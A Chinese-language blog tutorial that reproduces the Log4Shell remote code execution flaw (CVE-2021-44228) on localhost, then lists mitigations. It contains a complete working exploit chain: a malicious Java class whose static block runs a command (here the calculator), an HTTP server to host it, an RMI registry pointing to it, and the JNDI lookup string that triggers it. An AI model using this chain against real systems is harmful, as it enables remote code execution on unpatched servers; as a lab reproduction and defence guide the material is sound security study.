2021年12月10日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞编号:CVE-2021-44228,名称:Log4Shell。由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。关于漏洞的细节想必大家都很感兴趣,我们这边直接用代码来复现漏洞。
目录
实验环境
java版本 : 1.8.0_91
python版本: 3.10.1 (python版本与此次实验无强关联,只是为了搭建http服务器)
log4j版本 : 2.14.1
实验概览:
此次采用rmi注入,主要有这三个部分。
Client:模拟受攻击的服务器,执行log4j的日志
HTTP服务器:用于上传注入的代码,并返回给Client
RMI服务器:用于接收Client发送的rmi请求,并返回远程对象地址
恶意对象:在这个对象的静态代码块中写入想要执行的代码,如cmd命令。Client在加载对象时,由于默认执行静态代码块,cmd命令也会被执行。
操作步骤
接下来是各部分的代码展示,我们按照启动顺序展开
准备恶意对象
这是对象EviObj的代码,这里为了更好的演示,我们只是简单的执行一个calc命令(windows系统命令),调用计算器。如果大家不是windows的话,自行修改为其他命令。
public class EvilObj {
static {
try{
// open the calc
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
}
准备好代码后,我们编译成class
执行javac EvilObj.java 获得EvilObj.class
启动HTTP服务器
这里为了演示方便,我们直接用python3自带的SimpleHTTPServe来启动,命令如下
python -m http.server 6666
同时将EvilObj.class放在http服务器的根目录,也就是执行该python命令的所在目录。
启动RMI服务器
这里为了演示方便我rmi服务器也起在本地,监听端口1099,同时返回http服务器的地址为127.0.0.1:6666
代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
执行Main方法启动
启动Client
模拟收到攻击,打印恶意日志
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Main {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
// 执行该日志注入
log.error("${jndi:rmi://127.0.0.1:1099/evil}");
}
}
启动后可以看到,成功调用了计算器
项目代码
ApacheLog4j漏洞复现(CVE-2021-44228)包含源码-网络安全文档类资源-CSDN下载
漏洞修复
漏洞修复的方式较多,这里列出一些主要方式,随时会更新。
出现漏洞的log4j版本为 version <= 2.14.1,虽然漏洞一爆出来,log4j官方就发布新版本2.15.0,但是目前还是不停的在出rc版本。截至目前12月14号已经发布到了2.16.0 ,建议升级最新版本搭配以下任意一种方式修复。
1、设置配置参数:
log4j2.formatMsgNoLookups=true
2、修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true
3、修改系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
4、禁止 log4j2 所在服务器外连
5、升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上